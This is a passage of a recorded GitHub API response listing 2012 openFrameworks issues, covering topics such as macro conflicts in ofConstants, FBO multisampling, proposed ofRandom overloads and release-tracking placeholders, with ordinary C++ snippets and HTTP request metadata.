may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","assignee":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3476540,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","assignee":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3462226,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","assignee":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3438233,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","assignee":null,"title":"feature ofRandom(ofVec3f) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3432042,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785},"id":3401755,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:42:36Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":993,"html_url":"https://github.com/openframeworks/openFrameworks/issues/993","assignee":null,"title":"Of scissors","labels":[],"closed_at":null,"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3393466,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/993","patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff"}},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"html_url":"https://github.com/openframeworks/openFrameworks/issues/987","assignee":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3387163,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"html_url":"https://github.com/openframeworks/openFrameworks/issues/985","assignee":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"html_url":"https://github.com/openframeworks/openFrameworks/issues/984","assignee":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"html_url":"https://github.com/openframeworks/openFrameworks/issues/976","assignee":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"html_url":"https://github.com/openframeworks/openFrameworks/issues/972","assignee":null,"title":"0076 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"html_url":"https://github.com/openframeworks/openFrameworks/issues/971","assignee":null,"title":"0075 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=5 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '39838'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a7bfe812cbaa85fbb708d70f4d883fac"'), ('date', 'Tue, 29 May 2012 19:27:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-25T01:36:58Z","body":"Dummy issue to ensure that the 0080 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/970","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"closed_issues":0,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":970,"html_url":"https://github.com/openframeworks/openFrameworks/issues/970","assignee":null,"title":"0080 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:54Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:36:37Z","body":"Dummy issue to ensure that the 0074 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/969","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/7","number":7,"closed_issues":0,"title":"0074 Release","due_on":"2012-08-27T07:00:00Z","open_issues":1,"created_at":"2012-02-25T00:41:17Z","state":"open","description":"","id":88728},"number":969,"html_url":"https://github.com/openframeworks/openFrameworks/issues/969","assignee":null,"title":"0074 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381977,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-24T04:31:01Z","body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","comments":0,"milestone":null,"number":955,"html_url":"https://github.com/openframeworks/openFrameworks/issues/955","assignee":null,"title":"ofBackgroundGradient needs to be billboarded","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-24T04:31:01Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3367910,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T19:12:08Z","body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","comments":4,"milestone":null,"number":933,"html_url":"https://github.com/openframeworks/openFrameworks/issues/933","assignee":null,"title":"Problem with moviePlayerExample under linux64","labels":[],"closed_at":null,"created_at":"2012-02-23T15:46:06Z","state":"open","user":{"url":"https://api.github.com/users/agrosjea","avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e52c167621119d58d03c586bb053a633","login":"agrosjea","id":1466085},"id":3357855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:13:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","comments":0,"milestone":null,"number":931,"html_url":"https://github.com/openframeworks/openFrameworks/issues/931","assignee":null,"title":"ofCamera is not aware of ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-23T05:13:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:12:47Z","body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","comments":0,"milestone":null,"number":930,"html_url":"https://github.com/openframeworks/openFrameworks/issues/930","assignee":null,"title":"ofSetupPerspective 